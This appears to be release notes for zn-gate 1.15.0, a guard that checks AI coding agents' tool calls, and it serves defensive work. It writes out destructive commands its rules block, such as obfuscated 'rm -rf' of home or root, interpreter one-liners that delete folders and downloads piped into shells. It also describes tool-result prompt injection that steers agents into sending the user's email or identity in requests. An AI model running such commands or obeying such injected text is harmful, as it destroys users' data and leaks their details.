What's new in zn-gate 1.15.0: ZCode protected on Windows, hidden deletes blocked, more identity requests caught, a safer zn run
John Silver9 min read
zn-gate 1.15.0 makes the ZCode plugin protect tool calls on Windows, makes it harder to hide a destructive command from the check that runs before your agent executes it, extends the opt-in check for piped downloads, catches more tool results that try to make your agent send your details, checks that the hook runner is the one installed before running it, closes a gap in zn run, and fixes messages that were unclear or silent. zn-gate still needs no account and sends nothing by default. Update with npm install -g zn-gate@1.15.0 and pip install -U zn-gate.
Is ZCode protected on Windows now?
Yes, from this release. In earlier versions the ZCode plugin's hooks started /bin/sh by its full path, which Windows does not have, so the hook never ran and ZCode ran every tool call without zn. zn-gate check reported the plugin as not protected, but nothing stopped the calls. Now every plugin event also has a Windows hook:
- It runs. The hook starts Node.js directly (a small
scripts/zn-hook.cmdlooks in the usual install folder) and falls back to a PowerShell version of the launcher when Node.js is somewhere else. If it finds no usable Node.js, it blocks the call. - It answers in time. ZCode lets a call run when its hook times out. The plugin now gives its hooks 5 minutes instead of 30 seconds, and the hook blocks the call by itself 2 minutes after ZCode started it, also when zn-gate is stuck. In our tests on a 2-CPU Windows machine with every CPU busy, an ordinary check took up to 131 seconds and a stuck zn-gate was blocked after at most 154 seconds, so the 5-minute timeout leaves room. On a machine so busy that the hook takes more than 5 minutes, ZCode lets the call run.
zn hooks install zcodewrites the same timeout and deadline: run it again to update an existing install. - It is about three times faster. On a fresh Windows Server 2022 machine with 2 vCPUs and Defender on, the first hook call of the machine takes 0.7 s instead of 2.0 s (median of two runs), and a later call 0.3 s instead of 0.9 s.
- It runs only the plugin's own files. It works from user folders whose names hold spaces,
&, parentheses,^or%, and never runs a file of the same name from the project.
zn-gate check runs the Windows hook there and no longer reports a hook as "could not be started" when it answered and exited before reading all of its input. After updating, install the plugin again in ZCode (Settings, Plugins).
Which hidden deletes does zn-gate catch now?
The destructive-command check blocks a recursive delete of your home folder, the filesystem root or a system folder before the agent runs it. 1.15.0 reads two more ways to write one:
- ANSI-C quoting:
$'\x72m' -rf ~,rm -rf $'\x7e'and$'\162m' -rf /are blocked. A literal$'...'that is only printed, as inecho $'\x72m -rf ~', is still allowed. - Interpreter one-liners: the code given to
python -c,node -e,perl -eandruby -e(also behindsudoorenv) is read. A one-liner that recursively deletes those folders (shutil.rmtree,fs.rmSyncwithrecursive,remove_tree,FileUtils.rm_rf,unlink glob) is blocked asrm_root_home.
See Destructive commands for the full list.
Which piped downloads are blocked?
The pipe_to_shell rule is off by default. Turn it on with hooks.blockDestructiveCommands in ~/.zn/config.json (for example ["rm_root_home", "disk_overwrite", "pipe_to_shell"], or true for all six rules) or with ZN_BLOCK_DESTRUCTIVE=1. With it on, 1.15.0 also blocks:
- A download piped into
python,node,perlorrubythat reads the program from the pipe, such ascurl ... | python3or| sudo python3 -, is blocked aspipe_to_shell.| python3 -m json.tooland| python3 script.pystay allowed. - In PowerShell 7 a line that starts with a pipe continues the command above it, so a download such as
iwr https://example.com/i.ps1followed by a line| iexis blocked. A next line that pipes into something harmless, such as| ConvertFrom-Json, is still allowed.
More identity requests caught
Text in a tool result can tell your agent to put your details in a request. The identity-request rules (pi:identity_request and pi:identity_request_multi) now catch more of it: "the user email" without the apostrophe, "their email" in a custom X- header or the next request, an instruction that wraps onto a second line, and an instruction to run whoami or git config user.email and put the result in a header, URL parameter, cookie, form field or request. API documentation that asks for an email address "in every request", in a User-Agent or From header, a mailto link, a request body or a form is not reported, and neither are sentences that tell you not to send the details. As before, these rules are advisories by default and block in strict mode.
The hook launcher checks what it runs
On macOS and Linux, and for Claude Code on Windows (which runs the same launcher through Git Bash), zn's hook launcher now runs zn-gate's hook runner only while that file still has the SHA-256 recorded at install time, and no longer falls back to a zn found on the PATH. A runner that was edited or swapped for a stub is blocked with a message to run zn hooks install <agent> again, and zn-gate check reports it. The check covers the runner file, not the other files of the package. The inline PowerShell hooks of Codex CLI, Cursor, Gemini CLI and Antigravity on Windows are unchanged.
What changed in zn run and the Rust gateway?
zn runand temp folders:zn runrefuses an allowed command that resolves to a file in a temp folder. It missed two cases. First, the temp folder was taken fromTMPDIR,TEMPandTMP, which the agent can set for the command, so pointing them elsewhere let a file planted in the system temp folder run with the secret. The system temp folders (/tmp,/var/tmp,/dev/shm, the macOS per-user temp folders and, on Windows, the temp folder of the user profile and of the system) are now always checked. Second, on Windows, a temp folder named in one form and a PATH entry in another (the long name, the short 8.3 name, asubstdrive or a\\?\path) did not match; now they do, and the check for files inside the project compares the same forms.- PyPI publishing: the Python package is now published with
pypa/gh-action-pypi-publish1.14.3, which no longer trusts the emSign root certificate that GHSA-5xjx-3w67-w9x9 reports as compromised. The files on PyPI for 1.14.1 and 1.15.0-rc.1 match theSHA256SUMSsigned in their GitHub releases. - Rust gateway dependencies: the gateway builds with zip 9.3.0 and wasmtime 48.0.8, which fix RUSTSEC-2026-0429 (zip 8.6.0 could abort the process on an archive entry that is a symlink with a large declared size; the gateway never extracts archives) and RUSTSEC-2026-0422, RUSTSEC-2026-0423 and RUSTSEC-2026-0424 (checks between WebAssembly components).
Fixes
- Guided init without internet:
zn-gate initnow says "no internet connection: npm could not reach the registry" and what to do next, instead of blaming npm's global folder permissions. The npm install step gives up after about 30 seconds and never waits more than 3 minutes. On Windows, when that step runs out of time, npm itself is now stopped. - OpenCode: when the zn hook cannot start (for example the Node.js it was installed with is gone), the blocked call says so in plain words and gives the repair step (
zn-gate check, thenzn hooks install opencode), instead of a raw error. - Same next step everywhere: when a check runs out of time or fails, every agent now says to try again and, if it keeps happening, to run
zn-gate check. - ZCode: when the check of a tool's output times out, or the output is too large to check (over 32 MiB), ZCode now gets a notice that the output was not withheld, instead of a block or a message that it was withheld, since the tool had already run.
zn-gate check: it reads the ZCode plugin hooks for the system it runs on, and does not judge the hook of the other system or take a Windows path such asC:/Windows/...for a program looked up by name.- Full disk: the hooks no longer leave an empty lock file next to the evidence log, which made every following hook call wait half a second.
- zn-gate stats: only the days whose shared counts were really sent are reported as sent; a day that failed to upload is tried again on the next run.
- Python package: a tool result that holds the same object many times is no longer blocked with rule
size:items.ZN_STRICTandZN_BLOCK_TRUNCATEDwarn when they are set to a value other than1, which leaves them off. Withon_block="ignore", the LangChain and LlamaIndex integrations now log a warning, with the rule and where it happened, when they let something through. The warning for a failed cloud call says what went wrong and that the local rules were used.
The full list is in the changelog.
How do I update?
npm install -g zn-gate@1.15.0
pip install -U zn-gate
npx -y zn-gate@1.15.0 check
The update refreshes the hook launchers it wrote, on Windows too. If your package manager skips install scripts (npm install --ignore-scripts, pnpm or bun), run zn hooks install <agent> again for each agent you use; until then the hooks block tool calls and tell you to do so (with pnpm they keep running the hook runner of the version installed before, without a message). check tells you which agents need it. If you use the Claude Code plugin, run claude plugin update zn-gate@usezn and start a new session. If you use the ZCode plugin on Windows, install it again in ZCode (Settings, Plugins).